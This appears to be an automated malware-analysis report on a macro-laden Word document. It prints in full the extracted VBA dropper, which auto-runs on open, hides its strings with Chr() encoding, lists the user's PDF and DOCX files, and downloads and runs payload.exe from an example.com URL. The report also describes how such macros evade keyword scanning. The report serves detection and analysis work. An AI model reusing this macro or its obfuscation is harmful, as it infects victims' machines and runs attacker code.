Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 0549acda87b5d4e2…

MALICIOUS

Office (OOXML) / .DOCX

18.8 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-29
MD5: 60c290c902bb5f08033d100fb7f34da7 SHA-1: 401b1af375ef1992d14132379a325570911da227 SHA-256: 0549acda87b5d4e22e0c48ff5a3ae3ae420e4fdc15e5b44fb15800e31620f443
350 Risk Score

Heuristics 8

  • ClamAV: Win.Worm.IFeel-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Worm.IFeel-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            stream.Write http.ResponseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        ' Execution: Run a command using WScript.Shell
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WshShell = CreateObject(Chr(87) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.microsoft.com/office/2019/extlstReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3822 bytes
SHA-256: fcec94182da34f2f4ffe2d066c48f677fe70b17b5e8c80f06cdc5cde38cf498a
Detection
ClamAV: Win.Worm.IFeel-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim WshShell As Object
    Dim documentsPath As String
    Dim fso As Object
    Dim folder As Object
    Dim file As Object
    Dim http As Object
    Dim stream As Object
    Dim payloadURL As String
    Dim payloadPath As String
    
    ' Execution: Run a command using WScript.Shell
    Set WshShell = CreateObject(Chr(87) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
    WshShell.Run Chr(99) & Chr(109) & Chr(100) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & Chr(101) & Chr(99) & Chr(104) & Chr(111) & Chr(32) & Chr(73) & Chr(110) & Chr(105) & Chr(116) & Chr(105) & Chr(97) & Chr(108) & Chr(32) & Chr(99) & Chr(111) & Chr(109) & Chr(109) & Chr(97) & Chr(110) & Chr(100) & Chr(32) & Chr(101) & Chr(120) & Chr(101) & Chr(99) & Chr(117) & Chr(116) & Chr(105) & Chr(111) & Chr(110), 0, True
    
    ' Discovery: Search for .pdf and .docx files in the Documents folder
    documentsPath = WshShell.SpecialFolders(Chr(77) & Chr(121) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115))
    Set fso = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(77) & Chr(98) & Chr(111) & Chr(106) & Chr(101) & Chr(99) & Chr(116))
    Set folder = fso.GetFolder(documentsPath)
    
    For Each file In folder.Files
        If LCase(fso.GetExtensionName(file.Name)) = Chr(112) & Chr(100) & Chr(102) Or LCase(fso.GetExtensionName(file.Name)) = Chr(100) & Chr(111) & Chr(99) & Chr(120) Then
            ' Perform actions on discovered files (e.g., log, exfiltrate metadata)
            WshShell.Run Chr(99) & Chr(109) & Chr(100) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & Chr(101) & Chr(99) & Chr(104) & Chr(111) & Chr(32) & Chr(68) & Chr(105) & Chr(115) & Chr(99) & Chr(111) & Chr(118) & Chr(101) & Chr(114) & Chr(101) & Chr(100) & Chr(32) & Chr(102) & Chr(105) & Chr(108) & Chr(101) & Chr(58) & Chr(32) & file.Name, 0, True
        End If
    Next file
    
    ' Command and Control (C2): Download the payload
    payloadURL = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(120) & Chr(97) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
    payloadPath = documentsPath & Chr(92) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
    
    Set http = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84))
    http.Open Chr(71) & Chr(69) & Chr(84), payloadURL, False
    http.Send
    
    If http.Status = 200 Then
        Set stream = CreateObject(Chr(65) & Chr(68) & Chr(79) & Chr(66) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109))
        stream.Type = 1
        stream.Open
        stream.Write http.ResponseBody
        stream.SaveToFile payloadPath, 2
        stream.Close
        
        ' Installation: Execute the downloaded payload
        WshShell.Run payloadPath, 0, True
    End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 8fb6e567609396bc07b34b422f609e402003f9aa7ddcc9b980fc506beb9172d3
Detection
ClamAV: Win.Worm.IFeel-1
Obfuscation or payload: unlikely